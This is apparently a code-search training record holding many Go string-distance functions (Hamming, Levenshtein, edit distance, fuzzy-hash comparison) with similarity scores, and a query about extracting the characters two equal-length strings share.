[]rune(b)\n\tif len(ar) != len(br) {\n\t\treturn 0, errors.New(\"false\")\n\t}\n\tcode := 0\n\tfor i := 0; i < len(ar); i++ {\n\t\tif ar[i] != br[i] {\n\t\t\tcode++\n\t\t}\n\t}\n\treturn code, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"can't work with this\")\n\t}\n\tdistance := 0\n\tfor index := 0; index < len(a); index++ {\n\t\tif a[index] != b[index] {\n\t\t\tdistance++\n\t\t}\n\t}\n\treturn distance, nil\n}", "func Distance(a, b string) (int, error) {\n\tif (len(a) != len(b)) {\n\t\treturn 0, errors.New(\"Different lengths\")\n\t}\n\tdistance := 0\n\tfor i, letter := range a {\n\t\tif (letter != rune(b[i])) {\n\t\t\tdistance++\n\t\t}\n\t}\n\treturn distance, nil\n}", "func Distance(strand1, strand2 string) (distance int, err error) {\n\tif len(strand1) != len(strand2) {\n\t\treturn 0, errors.New(\"DNA strands have different length\")\n\t}\n\tif len(strand1) == 0 {\n\t\treturn 0, nil\n\t}\n\tfor index := 0; index < len(strand1); index++ {\n\t\tif strand1[index] != strand2[index] {\n\t\t\tdistance++\n\t\t}\n\t}\n\treturn distance, nil\n}", "func Distance(a, b string) (int, error) {\n\tresult := 0\n\n\tif len(a) == len(b) {\n\t\tfor i := range a {\n\t\t\tif a[i] != b[i] {\n\t\t\t\tresult++\n\t\t\t}\n\t\t}\n\n\t\treturn result, nil\n\t}\n\n\treturn -1, errors.New(\"error raised\")\n}", "func Distance(a, b string) (int, error) {\n\tdistance := 0\n\n\tif a != b {\n\n\t\talen := len(a)\n\t\tblen := len(b)\n\n\t\tif alen != blen {\n\t\t\treturn -1, errors.New(\"Different sizes\")\n\t\t}\n\n\t\tfor i := 0; i < alen; i++ {\n\t\t\tif a[i] != b[i] {\n\t\t\t\tdistance++\n\t\t\t}\n\t\t}\n\t}\n\treturn distance, nil\n}", "func Distance(a, b string) (int, error) {\n\t//length of the DNA strands must be same to calculate hamming distance.\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"length of string A and B should be the same to calculate hamming distance\")\n\t}\n\thammingDistance := 0\n\tfor i :=0; i<len(a) ;i++ {\n\t\tif a[i] != b[i] {\n\t\t\thammingDistance++\n\t\t}\n\t}\n\treturn hammingDistance, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"a and b should be of equal length\")\n\t}\n\n\thammingDistance := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\thammingDistance++\n\t\t}\n\t}\n\n\treturn hammingDistance, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"DNA strands have different length\")\n\t}\n\tvar count = 0\n\tfor index := range a {\n\t\tif a[index] != b[index] {\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count, nil\n}", "func Distance(a, b string) (int, error) {\n\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"the inputs must be the same length\")\n\t}\n\n\tvar count int\n\n\tfor i := range a {\n\t\tif a[i] != b[i] {\n\t\t\tcount++\n\t\t}\n\t}\n\treturn count, nil\n}", "func Distance(a, b string) (int, error) {\n\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\n\t\t\t`length of first argument and second argument must be equal`,\n\t\t)\n\t}\n\n\tvar quantity int\n\tfor index := range a {\n\t\tif a[index] != b[index] {\n\t\t\tquantity++\n\t\t}\n\t}\n\n\treturn quantity, nil\n}", "func HemmingDistance(s1, s2 string) (int, error) {\n\treturn hemmingDistanceBytes([]byte(s1), []byte(s2))\n}", "func CompareStrings(str1 string, str2 string) (result, error) {\n var r result\n var err error\n r.s1, err = hashString(str1)\n if err != nil {\n return r, err\n }\n r.s2, err = hashString(str2)\n if err != nil {\n return r, err\n }\n r.score, err = ssdeep.Compare(r.s1, r.s2)\n if err != nil {\n return r, err_sscomp\n }\n if r.score == 100 { //100 spotted in the wild for non-identifcal files\n if strings.Compare(r.s1, r.s2) != 0 {\n r.strflag = true\n }\n }\n return r, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, ErrDifferentParamLengths\n\t}\n\n\tdiff := 0\n\n\tfor i, _ := range a {\n\t\tif a[i] != b[i] {\n\t\t\tdiff++\n\t\t}\n\t}\n\n\treturn diff, nil\n}", "func minDistance(word1 string, word2 string) int {\n\tdp := make([][]int, len(word2)+1)\n\tfor i := range dp {\n\t\tdp[i] = make([]int, len(word1)+1)\n\t\tdp[i][0] = i\n\t}\n\tfor i := 0; i < len(word1)+1; i++ {\n\t\tdp[0][i] = i\n\t}\n\tfor i := 1; i < len(word2)+1; i++ {\n\t\tfor j := 1; j < len(word1)+1; j++ {\n\t\t\tif word2[i-1] == word1[j-1] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = min(dp[i-1][j-1], min(dp[i-1][j], dp[i][j-1])) + 1\n\t\t\t\tif dp[i][j-1] < dp[i-1][j] {\n\t\t\t\t\tdp[i][j] = dp[i][j-1] + 1\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn dp[len(word2)][len(word1)]\n}", "func HashDistance(str1, str2 string) (int, error) {\n\tif str1 == \"\" || str2 == \"\" {\n\t\treturn 0, errors.New(\"Invaild input. Need two len(hashes) > 0\")\n\t}\n\tstr1Split := strings.Split(str1, \":\")\n\tif len(str1Split) < 3 {\n\t\treturn 0, errors.New(\"Invalid first hash, need format len:hash:hash\")\n\t}\n\tbsize1, hash11, hash12 := str1Split[0], str1Split[1], strings.Split(str1Split[2], \",\")[0]\n\tblockSize1, err := strconv.Atoi(bsize1)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tstr2Split := strings.Split(str2, \":\")\n\tif len(str2Split) < 3 {\n\t\treturn 0, errors.New(\"Invalid second hash, need format len:hash:hash\")\n\t}\n\tbsize2, hash21, hash22 := str2Split[0], str2Split[1], strings.Split(str2Split[2], \",\")[0]\n\tblockSize2, err := strconv.Atoi(bsize2)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\t// We can only compare equal or *2 block sizes\n\tif blockSize1 != blockSize2 && blockSize1 != blockSize2*2 && blockSize2 != blockSize1*2 {\n\t\treturn 0, errors.New(\"Apples != Grapes\")\n\t}\n\n\t// TODO: remove char repetitions in hashes here as they skew the results\n\t// Could use some regex to do this: /(.)\\1{9,}/\n\t// TODO: compare char by char to exit fast\n\tif blockSize1 == blockSize2 && hash11 == hash21 {\n\t\treturn 100, nil\n\t}\n\n\tvar score int\n\tif blockSize1 == blockSize2 {\n\t\td1 := scoreDistance(hash11, hash21, blockSize1)\n\t\td2 := scoreDistance(hash12, hash22, blockSize1*2)\n\t\tscore = int(math.Max(float64(d1), float64(d2)))\n\t} else if blockSize1 == blockSize2*2 {\n\t\tscore = scoreDistance(hash11, hash22, blockSize1)\n\t} else {\n\t\tscore = scoreDistance(hash12, hash21, blockSize2)\n\t}\n\treturn score, nil\n}", "func calculateDistanceScoreBetweenTags(userTags, videoTags []string) int {\n\tcount := 0\n\tfor _, userTag := range userTags {\n\t\tfor _, videoTag := range videoTags {\n\n\t\t\tdistance := float64(levenshtein.ComputeDistance(userTag, videoTag))\n\n\t\t\t// if its not the SAME exact word...\n\t\t\t// but requires less then a few tarnsitions...\n\t\t\t// so we are counting the number of similar words\n\t\t\tif distance != 0 && distance < 4 {\n\t\t\t\tcount++\n\t\t\t}\n\t\t}\n\t}\n\t// remember that lower the distance, higher the similarity\n\treturn count\n}", "func LevenshteinDistanceMax(a, b string, max int) (int, bool) {\n\tv, wasMax, _ := LevenshteinDistanceMaxReuseSlice(a, b, max, nil)\n\treturn v, wasMax\n}", "func Distance(a, b string) (int, error) {\n\tar, br := []rune(a), []rune(b)\n\n\tif len(ar) != len(br) {\n\t\treturn 0, errors.New(\"sequences are of unequal length\")\n\t}\n\n\thammingDistance := 0\n\tfor pos := range ar {\n\t\tif ar[pos] != br[pos] {\n\t\t\thammingDistance++\n\t\t}\n\t}\n\n\treturn hammingDistance, nil\n}", "func MinDistance(word string, comparingWords []string) (min int) {\n\tmin = len(word)\n\tfor _, compareWord := range comparingWords {\n\t\tdistance := levenshtein.ComputeDistance(word, compareWord)\n\t\tif min > distance {\n\t\t\tmin = distance\n\t\t}\n\t}\n\treturn\n}", "func (kd KeyDist) CalculateDistance(input, ref string) float64 {\n\tvar score float64\n\n\t// Scanning each letter of this ref\n\tfor i := 0; i < len(input); i++ {\n\t\tif i >= len(ref) {\n\n\t\t\t// @todo missing characters should have a cost, decide on a correct punishment value\n\t\t\tscore += float64(missingCharPenalty * (len(input) - len(ref)))\n\t\t\tbreak\n\t\t}\n\n\t\tif input[i] == ref[i] {\n\t\t\tcontinue\n\t\t}\n\n\t\tleft, right := input[i:i+1], ref[i:i+1]\n\t\tscore += euclideanDistance(kd.grid[left], kd.grid[right])\n\n\t}\n\n\treturn score\n}", "func CompareStrings(a, b string) float64 {\n\treturn jellyfish.JaroWinkler(a, b)\n}", "func hammingDistance(a, b string) (ctr int) {\n\tif a[0] != b[0] {\n\t\tctr++\n\t}\n\tif a[1] != b[1] {\n\t\tctr++\n\t}\n\tif a[2] != b[2] {\n\t\tctr++\n\t}\n\n\treturn\n}", "func Distance(dnaOne, dnaTwo string) (distance int, err error) {\n\tif len(dnaOne) != len(dnaTwo) {\n\t\treturn 0, errors.New(\"Stands are not the same length\")\n\t}\n\n\tfor i := range dnaOne {\n\t\tif dnaOne[i] != dnaTwo[i] {\n\t\t\tdistance++\n\t\t}\n\t}\n\n\treturn distance, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, fmt.Errorf(\"sequences have different length: len(a)=%d, len(b)=%d\", len(a), len(b))\n\t}\n\tvar dist int\n\tfor i := range a {\n\t\tif a[i] != b[i] {\n\t\t\tdist++\n\t\t}\n\t}\n\treturn dist, nil\n}", "func ld(s, t string, ignoreCase bool) int {\n\tif ignoreCase {\n\t\ts = strings.ToLower(s)\n\t\tt = strings.ToLower(t)\n\t}\n\td := make([][]int, len(s)+1)\n\tfor i := range d {\n\t\td[i] = make([]int, len(t)+1)\n\t}\n\tfor i := range d {\n\t\td[i][0] = i\n\t}\n\tfor j := range d[0] {\n\t\td[0][j] = j\n\t}\n\tfor j := 1; j <= len(t); j++ {\n\t\tfor i := 1; i <= len(s); i++ {\n\t\t\tif s[i-1] == t[j-1] {\n\t\t\t\td[i][j] = d[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tmin := d[i-1][j]\n\t\t\t\tif d[i][j-1] < min {\n\t\t\t\t\tmin = d[i][j-1]\n\t\t\t\t}\n\t\t\t\tif d[i-1][j-1] < min {\n\t\t\t\t\tmin = d[i-1][j-1]\n\t\t\t\t}\n\t\t\t\td[i][j] = min + 1\n\t\t\t}\n\t\t}\n\n\t}\n\treturn d[len(s)][len(t)]\n}", "func EditDist(a, b string) int {\n\tlen1, len2 := len(a), len(b)\n\tif len1 < len2 {\n\t\treturn EditDist(b, a)\n\t}\n\trow1, row2 := make([]int, len2+1), make([]int, len2+1)\n\n\tfor i := 0; i < len2+1; i++ {\n\t\trow2[i] = i\n\t}\n\n\tfor i := 0; i < len1; i++ {\n\t\trow1[0] = i + 1\n\n\t\tfor j := 0; j < len2; j++ {\n\t\t\tx := min(row2[j+1]+1, row1[j]+1)\n\t\t\ty := row2[j] + invBool2int(a[i] == b[j])\n\t\t\trow1[j+1] = min(x, y)\n\t\t}\n\n\t\trow1, row2 = row2, row1\n\t}\n\treturn row2[len2]\n}", "func EditDistEx(a, b string) int {\n\tlen1, len2 := len(a), len(b)\n\tif len1 == 0 {\n\t\treturn len2\n\t}\n\tif len2 == 0 {\n\t\treturn len1\n\t}\n\tif len1 < len2 {\n\t\treturn EditDistEx(b, a)\n\t}\n\tcurr, next := 0, 0\n\trow := make([]int, len2+1)\n\n\tfor i := 0; i < len2+1; i++ {\n\t\trow[i] = i\n\t}\n\n\tfor i := 0; i < len1; i++ {\n\t\tcurr = i + 1\n\n\t\tfor j := 0; j < len2; j++ {\n\t\t\tcost := invBool2int(a[i] == b[j] || (i > 0 && j > 0 && a[i-1] == b[j] && a[i] == b[j-1]))\n\t\t\tfmt.Printf(\"%v %v == %v\\n\", a[i], b[j], cost)\n\n\t\t\tnext = min(min(\n\t\t\t\trow[j+1]+1,\n\t\t\t\trow[j]+cost),\n\t\t\t\tcurr+1)\n\n\t\t\trow[j], curr = curr, next\n\t\t}\n\t\trow[len2] = next\n\t\tfmt.Printf(\"%v\\n\", row)\n\t}\n\tfmt.Printf(\"\\n\")\n\tfmt.Printf(\"\\n\")\n\treturn next\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"hamming distance is only defined for sequences of equal length\")\n\t}\n\n\td := 0\n\tfor i, _ := range a {\n\t\tif a[i] != b[i] {\n\t\t\td += 1\n\t\t}\n\t}\n\n\treturn d, nil\n}", "func HammingDistance(a1, a2 Address) int {\n\ts1, ok := a1.(string)\n\tif !ok {\n\t\treturn -1\n\t}\n\n\ts2, ok := a2.(string)\n\tif !ok {\n\t\treturn -1\n\t}\n\n\t// runes not code points\n\tr1 := []rune(s1)\n\tr2 := []rune(s2)\n\n\t// hamming distance requires equal length strings\n\tif len(r1) != len(r2) {\n\t\treturn -1\n\t}\n\n\td := 0\n\tfor i := range r1 {\n\t\tif r1[i] != r2[i] {\n\t\t\td++\n\t\t}\n\t}\n\treturn d\n}", "func minDistance(word1 string, word2 string) int {\n\tl1 := len(word1)\n\tl2 := len(word2)\n\tgrid := make([][]int, l1+1)\n\tfor i := 0; i < l1+1; i++ {\n\t\tgrid[i] = make([]int, l2+1)\n\t}\n\tgrid[0][0] = 0\n\tfor i := 1; i < l1+1; i++ {\n\t\tgrid[i][0] = i\n\t}\n\tfor j := 1; j < l2+1; j++ {\n\t\tgrid[0][j] = j\n\t}\n\n\tfor i := 1; i < l1+1; i++ {\n\t\tfor j := 1; j < l2+1; j++ {\n\t\t\tif word1[i-1] == word2[j-1] {\n\t\t\t\tgrid[i][j] = grid[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tgrid[i][j] = min3(grid[i-1][j], grid[i][j-1], grid[i-1][j-1]) + 1\n\t\t\t}\n\t\t}\n\t}\n\treturn grid[l1][l2]\n}", "func Difference(word1, word2 string) int {\n\tif word1 == word2 {\n\t\treturn 100\n\t}\n\tsoundex1 := Encode(word1)\n\tsoundex2 := Encode(word2)\n\tsum := differenceSoundex(soundex1, soundex2) + differenceSoundex(soundex2, soundex1)\n\tif sum == 0 {\n\t\treturn 0\n\t}\n\treturn sum / 2\n}", "func HammingDistance(s1, s2 string) int {\n\tvar count int\n\tr1 := []rune(s1)\n\tr2 := []rune(s2)\n\tif len(r1) != len(r2) {\n\t\tlog.Panic(\"Can only calculate Hamming Distance on equal length strings\")\n\t}\n\tfor i := 0; i < len(r1); i++ {\n\t\tif r1[i] != r2[i] {\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count\n}", "func HammingDistance(a, b string) float64 {\n\td := utf8.RuneCountInString(b) - utf8.RuneCountInString(a)\n\tif d < 0 {\n\t\td *= -1\n\t\ta, b = b, a // a is longer than b so swap\n\t}\n\n\tvar offset int\n\tfor _, aRune := range a {\n\t\tbRune, width := utf8.DecodeRuneInString(b[offset:])\n\t\toffset += width\n\t\tif bRune != aRune {\n\t\t\td++\n\t\t}\n\t}\n\n\treturn float64(d)\n}", "func GetClosestMatchingString(options []string, searchstring string) string {\n\t// tokenize all strings\n\treg := regexp.MustCompile(\"[^a-zA-Z0-9]+\")\n\tsearchstring = reg.ReplaceAllString(searchstring, \"\")\n\tsearchstring = strings.ToLower(searchstring)\n\n\tleastDistance := math.MaxInt32\n\tmatchString := \"\"\n\n\t// Simply find the option with least distance\n\tfor _, option := range options {\n\t\t// do tokensize the search space string too\n\t\ttokenizedOption := reg.ReplaceAllString(option, \"\")\n\t\ttokenizedOption = strings.ToLower(tokenizedOption)\n\n\t\tcurrDistance := smetrics.WagnerFischer(tokenizedOption, searchstring, 1, 1, 2)\n\n\t\tif currDistance < leastDistance {\n\t\t\tmatchString = option\n\t\t\tleastDistance = currDistance\n\t\t}\n\t}\n\n\treturn matchString\n}", "func findLUSlength(a string, b string) int {\n if a == b {\n return -1\n }\n if len(a) > len(b) {\n return len(a)\n }\n return len(b)\n}", "func HammingDistance(stringBytes1 []byte, stringBytes2 []byte) int {\r\n\tif len(stringBytes1) != len(stringBytes2) {\r\n\t\tpanic(\"input bytes are not of same length\")\r\n\t\treturn -1\r\n\t}\r\n\r\n\tdist := 0\r\n\r\n\tfor i := 0; i < len(stringBytes1); i++ {\r\n\t\t// Thanks Travis\r\n\t\td1 := bits.OnesCount8(stringBytes1[i] ^ stringBytes2[i])\r\n\t\tdist += d1\r\n\t}\r\n\r\n\treturn dist\r\n}", "func distance(ex1, ex2 Example) float64 {\n\treturn math.Sqrt(math.Pow(float64(ex1.d1-ex2.d1), 2) + math.Pow(float64(ex1.d2-ex2.d2), 2) + math.Pow(float64(ex1.d3-ex2.d3), 2))\n}", "func Distance(hash1, hash2 *FuzzyHash) (score int) {\n\tif hash1 == nil || hash2 == nil {\n\t\treturn 0\n\t}\n\t// We can only compare equal or *2 block sizes\n\tif hash1.blockSize != hash2.blockSize && hash1.blockSize != hash2.blockSize*2 && hash2.blockSize != hash1.blockSize*2 {\n\t\treturn\n\t}\n\tif hash1.blockSize == hash2.blockSize && hash1.hashString1 == hash2.hashString1 {\n\t\treturn 100\n\t}\n\tif hash1.blockSize == hash2.blockSize {\n\t\td1 := scoreDistance(hash1.hashString1, hash2.hashString1, hash1.blockSize)\n\t\td2 := scoreDistance(hash1.hashString2, hash2.hashString2, hash1.blockSize*2)\n\t\tscore = int(math.Max(float64(d1), float64(d2)))\n\t} else if hash1.blockSize == hash2.blockSize*2 {\n\t\tscore = scoreDistance(hash1.hashString1, hash2.hashString2, hash1.blockSize)\n\t} else {\n\t\tscore = scoreDistance(hash1.hashString2, hash2.hashString1, hash2.blockSize)\n\t}\n\treturn\n}" ]
[ "0.8448626", "0.8308654", "0.7992926", "0.78161067", "0.77114385", "0.77066386", "0.7537326", "0.746244", "0.74005014", "0.72422886", "0.6939084", "0.6859613", "0.68491495", "0.6799573", "0.67839295", "0.6776048", "0.67271024", "0.67042047", "0.66961974", "0.66945004", "0.6693448", "0.6677199", "0.6656145", "0.66437864", "0.6642197", "0.66339225", "0.6627382", "0.66272926", "0.6619629", "0.6614059", "0.660261", "0.6592926", "0.6574885", "0.65584576", "0.6554513", "0.65435296", "0.6539863", "0.6538408", "0.65300804", "0.65102017", "0.6502396", "0.6480989", "0.6477663", "0.6472805", "0.64482856", "0.64336926", "0.64154124", "0.64043534", "0.6401401", "0.6370119", "0.6367611", "0.6360493", "0.6358731", "0.6346729", "0.6333082", "0.63117266", "0.6289648", "0.6288226", "0.62750083", "0.62485766", "0.6232823", "0.6232064", "0.6231457", "0.62198997", "0.6188967", "0.6177508", "0.6152284", "0.61498255", "0.61366147", "0.6132263", "0.61309993", "0.60850203", "0.60795045", "0.6070435", "0.60373956", "0.60324776", "0.60001296", "0.5952477", "0.5943793", "0.59176016", "0.5914768", "0.5899013", "0.5880419", "0.5828415", "0.5799803", "0.5787815", "0.5758461", "0.57507193", "0.5717711", "0.5699001", "0.56478924", "0.5645649", "0.56294066", "0.5620157", "0.56161857", "0.5573587", "0.55708635", "0.55335706", "0.54837775", "0.54558027" ]
0.7809862
4
CommonChars will return the substring from the Levenshtein distance, removing all of the different characters in the string, returning a "common" substring.
func CommonChars(first, second string) string { common := strings.Builder{} for i := range first { if first[i] == second[i] { common.WriteRune(rune(first[i])) } } return common.String() }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func commonChars(A []string) int {\n\tcnt := [26]int{}\n\tfor i := range cnt {\n\t\tcnt[i] = math.MaxUint16\n\t}\n\tcntInWord := [26]int{}\n\tfor _, word := range A {\n\t\tfor _, char := range []byte(word) { // compiler trick - here we will not allocate new memory\n\t\t\tcntInWord[char-'a']++\n\t\t}\n\t\tfor i := 0; i < 26; i++ {\n\n\t\t\tif cntInWord[i] < cnt[i] {\n\t\t\t\tcnt[i] = cntInWord[i]\n\t\t\t}\n\t\t}\n\n\t\tfor i := range cntInWord {\n\t\t\tcntInWord[i] = 0\n\t\t}\n\t}\n\tresult := make([]string, 0)\n\tfor i := 0; i < 26; i++ {\n\t\tfor j := 0; j < cnt[i]; j++ {\n\t\t\tresult = append(result, string(rune(i+'a')))\n\t\t}\n\t}\n\treturn len(result)\n}", "func CommonSubstring(arr ...string) string {\n\tcommonStr := arr[0]\n\n\tfor _, str := range arr[1:] {\n\t\tcommonStr = lcs(commonStr, str)\n\t}\n\n\treturn commonStr\n}", "func TestLevenshteinDistance(t *testing.T) {\n\tassert.Equal(t, 0, LevenshteinDistance(\"\", \"\"))\n\tassert.Equal(t, 0, LevenshteinDistance(\"🍺\", \"🍺\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"bear\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"bee\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"beer🍺\"))\n\tassert.Equal(t, 3, LevenshteinDistance(\"beer\", \"water\"))\n\tassert.Equal(t, 5, LevenshteinDistance(\"java\", \"golang\"))\n}", "func LongestCommonSubStringLength(str1, str2 string) int {\n\n\tif len(str1) == 0 || len(str2) == 0 {\n\t\treturn 0\n\t}\n\tvar max int\n\tcache := make([][]int, len(str1))\n\n\tfor i, str1Char := range str1 {\n\t\tcache[i] = make([]int, len(str2))\n\t\tfor j, str2Char := range str2 {\n\t\t\tif str1Char == str2Char {\n\t\t\t\tif i == 0 || j == 0 {\n\t\t\t\t\tcache[i][j] = 1\n\t\t\t\t} else {\n\t\t\t\t\tcache[i][j] = cache[i-1][j-1] + 1\n\t\t\t\t}\n\t\t\t}\n\t\t\tmax = Max(max, cache[i][j])\n\n\t\t}\n\t}\n\n\treturn max\n}", "func longestCommonPrefixVS(ss []string) string {\n\tif len(ss) == 0 {\n\t\treturn \"\"\n\t}\n\n\ti, slen, ans := 0, len(ss[0]), ss[0]\n\nouter:\n\tfor i < slen {\n\t\tfor _, s := range ss[1:] {\n\t\t\tif i == len(s) || s[i] != ans[i] {\n\t\t\t\tbreak outer\n\t\t\t}\n\t\t}\n\t\ti++\n\t}\n\n\treturn ans[:i]\n}", "func common(s, o []rune) []rune {\n\tmax, min := s, o\n\tif len(max) < len(min) {\n\t\tmax, min = min, max\n\t}\n\tvar str []rune\n\tfor i, r := range min {\n\t\tif r != max[i] {\n\t\t\tbreak\n\t\t}\n\t\tif str == nil {\n\t\t\tstr = []rune{r}\n\t\t} else {\n\t\t\tstr = append(str, r)\n\t\t}\n\t}\n\treturn str\n}", "func LcSubStr(s1 string, s2 string) (string, int) {\n\n\tm := len(s1) + 1\n\tn := len(s2) + 1\n\n\t// create two dimensional matrix\n\tvar LCSuff [][]int = make([][]int, m)\n\tfor i := 0; i < m; i++ {\n\t\tLCSuff[i] = make([]int, n);\n\t}\n\n\tvar result int = 0\n\tvar resultIdx = 0\n\n\tfor i := 0; i < m; i++ {\n\t\tfor j := 0; j < n; j++ {\n\t\t\tif i == 0 || j == 0 {\n\t\t\t\tLCSuff[i][j] = 0;\n\t\t\t} else if s1[i-1] == s2[j-1] {\n\t\t\t\tLCSuff[i][j] = LCSuff[i-1][j-1] +1;\n\t\t\t\tif LCSuff[i][j] > result {\n\t\t\t\t\tresult = Max(result, LCSuff[i][j])\n\t\t\t\t\tresultIdx = i\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tLCSuff[i][j] = 0\n\t\t\t}\n\n\t\t}\n\t}\n\n\tfmt.Sprintf(\"result length is %d\", result)\n\tasRunes := []rune(s1)\n\t// convert to go runes and return the slice of those runes\n\treturn string(asRunes[resultIdx - result : resultIdx]), result\n\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"given DNA strangs were not of equal length\")\n\t}\n\n\tvar result int = 0\n\taChars := []rune(a)\n\tbChars := []rune(b)\n\tfor index, char := range aChars {\n\t\tif char != bChars[index] {\n\t\t\tresult++\n\t\t}\n\t}\n\n\treturn result, nil\n}", "func longestCommonSubsequenceLentgh(s1 string, s2 string) int {\n\n\t/*\n\t * s2 will be on the rows, s1 will be on the columns.\n\t *\n\t * +1 to leave room at the left for the \"\".\n\t */\n\n\tcache := make([][]int, len(s1)+1)\n\n\tfor indx := range cache {\n\n\t\tcache[indx] = make([]int, len(s2)+1)\n\t}\n\n\t/*\n\t * cache[s2.length()][s1.length()] is our original subproblem.\n\n\t *\tEach entry in the\n\t * table is taking a substring operation against whatever string is on the rows\n\t *\n\t *\n\t * It goes from index 0 to index s2Row/s1Col (exclusive)\n\t *\n\t * So if my s1 = \"azb\" and s1Col = 2...then my substring that I pass to the\n\t * lcs() function will be:\n\t *\n\t * 0 1 2 \"a z b\"\n\t *\n\t * \"az\" (index 2...our upper bound of the snippet...is excluded)\n\t */\n\n\tfor s2Row := 0; s2Row <= len(s2); s2Row++ {\n\t\tfor s1Col := 0; s1Col <= len(s1); s1Col++ {\n\t\t\tif s2Row == 0 || s1Col == 0 {\n\t\t\t\tcache[s2Row][s1Col] = 0\n\t\t\t} else if string(s2[s2Row-1]) == string(s1[s1Col-1]) {\n\t\t\t\tcache[s2Row][s1Col] = cache[s2Row-1][s1Col-1] + 1\n\t\t\t} else {\n\t\t\t\tif cache[s2Row-1][s1Col] > cache[s2Row][s1Col-1] {\n\t\t\t\t\tcache[s2Row][s1Col] = cache[s2Row-1][s1Col]\n\t\t\t\t} else {\n\t\t\t\t\tcache[s2Row-1][s1Col] = cache[s2Row][s1Col-1]\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t}\n\treturn cache[len(s2)][len(s1)]\n}", "func LevenshteinDistance(s1, s2 string) int {\r\n\t//length of the string s1, s2\r\n\ts1Len, s2Len := utf8.RuneCountInString(s1), utf8.RuneCountInString(s2)\r\n\r\n\t//if the two strings equals\r\n\tif s1 == s2 {\r\n\t\treturn 0\r\n\t}\r\n\t//if a string is length 0\r\n\tif s1Len == 0 {\r\n\t\treturn s2Len\r\n\t}\r\n\tif s2Len == 0 {\r\n\t\treturn s1Len\r\n\t}\r\n\r\n\tv0 := make([]int, s2Len+1)\r\n\tv1 := make([]int, s2Len+1)\r\n\r\n\tfor i := 0; i < len(v0); i++ {\r\n\t\tv0[i] = i\r\n\t}\r\n\r\n\tfor i := 0; i < s1Len; i++ {\r\n\r\n\t\tv1[0] = i + 1\r\n\r\n\t\tfor j := 0; j < s2Len; j++ {\r\n\t\t\tcost := 1\r\n\t\t\tif s1[i] == s2[j] {\r\n\t\t\t\tcost = 0\r\n\t\t\t}\r\n\t\t\tv1[j+1] = minimum(v1[j]+1, v0[j+1]+1, v0[j]+cost)\r\n\t\t}\r\n\r\n\t\tfor j := 0; j < len(v0); j++ {\r\n\t\t\tv0[j] = v1[j]\r\n\t\t}\r\n\r\n\t}\r\n\treturn v1[s2Len]\r\n}", "func LongestCommonPrefix(strs ...string) string {\n\tswitch len(strs) {\n\tcase 0:\n\t\treturn \"\" // idiots\n\tcase 1:\n\t\treturn strs[0]\n\t}\n\n\tmin := strs[0]\n\tmax := strs[0]\n\n\tfor _, s := range strs[1:] {\n\t\tswitch {\n\t\tcase s < min:\n\t\t\tmin = s\n\t\tcase s > max:\n\t\t\tmax = s\n\t\t}\n\t}\n\n\tfor i := 0; i < len(min) && i < len(max); i++ {\n\t\tif min[i] != max[i] {\n\t\t\treturn min[:i]\n\t\t}\n\t}\n\n\t// In the case where lengths are not equal but all bytes\n\t// are equal, min is the answer (\"foo\" < \"foobar\").\n\treturn min\n}", "func GcdOfStrings(str1 string, str2 string) string {\n\tvar l1 int = len(str1)\n\tvar l2 int = len(str2)\n\tvar longstr string\n\tvar shortstr string\n\tif l1 > l2{\n\t\tlongstr = str1\n\t\tshortstr = str2\n\t}else if l1 < l2{\n\t\tlongstr = str2\n\t\tshortstr = str1\n\t}else{\n\t\tif str1 == str2{\n\t\t\treturn str1\n\t\t}\n\t\treturn \"\"\n\t}\n\tif !strings.HasPrefix(longstr,shortstr){\n\t\treturn \"\"\n\t}\n\tfor strings.HasPrefix(longstr,shortstr){\n\t\tlongstr = longstr[min_int(l1,l2):]\n\t}\n\tif longstr == \"\"{\n\t\treturn shortstr\n\t}\n\treturn GcdOfStrings(shortstr,longstr)\n}", "func LevenshteinDistance(str1, str2 string) int {\n\t// Convert string parameters to rune arrays to be compatible with non-ASCII\n\truneStr1 := []rune(str1)\n\truneStr2 := []rune(str2)\n\n\t// Get and store length of these strings\n\truneStr1len := len(runeStr1)\n\truneStr2len := len(runeStr2)\n\tif runeStr1len == 0 {\n\t\treturn runeStr2len\n\t} else if runeStr2len == 0 {\n\t\treturn runeStr1len\n\t} else if utils.Equal(runeStr1, runeStr2) {\n\t\treturn 0\n\t}\n\n\tcolumn := make([]int, runeStr1len+1)\n\n\tfor y := 1; y <= runeStr1len; y++ {\n\t\tcolumn[y] = y\n\t}\n\tfor x := 1; x <= runeStr2len; x++ {\n\t\tcolumn[0] = x\n\t\tlastkey := x - 1\n\t\tfor y := 1; y <= runeStr1len; y++ {\n\t\t\toldkey := column[y]\n\t\t\tvar i int\n\t\t\tif runeStr1[y-1] != runeStr2[x-1] {\n\t\t\t\ti = 